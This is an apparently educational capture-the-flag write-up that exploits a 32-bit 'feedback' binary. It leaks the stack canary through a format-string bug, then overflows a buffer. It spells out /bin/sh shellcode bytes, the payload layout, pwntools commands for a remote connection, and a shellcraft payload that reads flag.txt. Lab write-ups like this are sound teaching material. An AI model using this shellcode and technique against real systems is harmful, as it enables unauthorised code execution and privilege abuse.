FEEDBACK

The feedback program first asks the user for his or her name. Then prints a statement welcoming user into the portal with the name back since the name is a controlled buffer let's check for vulnerability. We format our input as “%x”. We know that it is vulnerable two string formatting vulnerability since the output is an address in hexadecimal. Trying to overflow the name buffer does not work. This data leak can be used to obtain any value stored in the running stack.

Moving on to the next part of the program it ask us for a feedback. We input the feedback and the program exits after saying thank you.

Let us examine the binary closely. We checked the security measures taken while creating the binary using the command ‘checksec’ in GDB. We find that the program does have canary. Firstly, submitFeedback() function first loads a Canary into [ebp-0xc]. It asks the user for feedback. The read function reading users input stores 0x246 bytes into the address [ebp-0x21c]. It then prints a thank you and quits.

Here lies the vulnerability. The buffer is located at [ebp-0x21c] while the read function continuous to store 0x246 bytes. It can override the ebp as well as the return address. But what of the Canary standing as the stackGuard? Here the data leak encountered before comes into play. We will be trying to overwrite the Canary with the same canary that will be leaked from getName() function.

As we know for the same program all the functions load same canary.

Now we have to attack vectors:

* string format vulnerability in getName()
* deep buffer overflow of a controlled buffer in submitFeedback()

String format vulnerability in itself is enough for our task but buffer overflow and executable stack makes our job even easier. There are several ways of exploiting the same binary but we are discussing one possible solution while introducing most vulnerabilities.

Similar to what we did in AUTH problem we will be leaking data in stack. Since we have an executable stack we will use our input buffer to insert a bytecode into the start and further change the return address to the address of inserted bytecode and execute it. We will take care to insert Canary in the exact same position and get exact same way as it should be.

We will be using pwntools for this problem and the next. Any similar tool can make our job much easier. <[PWNTOOLS](https://docs.pwntools.com/en/stable/)>

In this solution, we will be getting shell access through the bytecode, in our flag and print it.

firstly we will obtain our Canary and buffer address similar to what we did in AUTH. We find the offset to be 31 and 1 respectively for Canary and buffer address. The address of buffer in submitFeedback() is at <0xffffcdfc> in my case and address of buffer from getName() is at <0xffffcfa8>.

This difference will stay constant for the server too. The difference comes out to be <0x1ac>.

So now we know the ‘canary’ and address of our ‘buffer’. Now we move on to making our parents for the feedback.

We will be over writing the return address to the address of our buffer and executing a shellcode we crafted. We have already seen that our country is at [ebp-0xc]. And the buffer is at [ebp-0x21c]. Therefore can we will be after [0x21c-0xc] bytes after buffer starts which is 528 in decimal so our canary will be at 529th place. Our return address and canary has 12 bytes between them. we are not concerned with these since they are of no use to us we will fill them up with junk. Rest of the buffer will be filled with ‘nop sleds’ (0x90) with our bytecode in the end. Nop sleds are used only to accommodate environmental changes between our local machine and the server if any.

Finally, we have our payload something like this:

<503 nop sleds><25 bytes shell code><Canary><12 bytes useless junk><return address>

"\x90"\*503+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"<CANARY>"+"BAJADHOLBAJA"+"<ADDRESS>”

This will give us the shell access once execution completes.

Here are the commands used in ipython to use pwntools.

from pwn import \* // for importing pwntools

import struct, sys

p=process([‘./feedback’]) //for retrieving and storing the pid of feedback program

conn=remote(‘ip.ip.ip.ip’, ‘port’) //for establishing connection to remote process

Rest commands are given with respect to a process on local machine but the run in exact same manner just by replacing the variable name ‘p’ with variable name ‘conn’

rec=p.recv() // for storing reply received from the process

print p.recv() // for printing whatever reply came from the server

p.sendline(“RESPONSE / PAYLOAD”) //for sending response/input to the program

p.interactive() // exits python and executes rest of the program like normal execution.

Other python commands can be utilized as per needed.

The payload given above gives shell access to the server, we find our flag.txt file but we cannot see its contents.

OOps…

Let’s check why... Using the command ‘ls -l’

On checking the permissions, we know that we have the permission of user “feed”, while the file can only be read by the user “1001” that is its owner. But luckily our program has the setuid flag giving it privileges to read flag.txt file. Now all we have to do is to change our payload to directly access the flag.txt file. Pwntools come handy in this part, it has a shell. craft.

Using the command given below we can create a shell code to inject into the server for executing and obtaining whatever there is inside flag.txt

sh= asm(shellcraft.i386.linux.cat(“flag.txt”))

Also, the length function can provide us the number of bytes contained in variable sh.

l=len(sh)

Length in my case was 45. so now our payload would look something like this:

"\x90"\*483+sh+"CANARY"+"BAJADHOLBAJA"+"ADDRESS”

On passing this payload to process it will return the content of flag.txt file which is the required flag.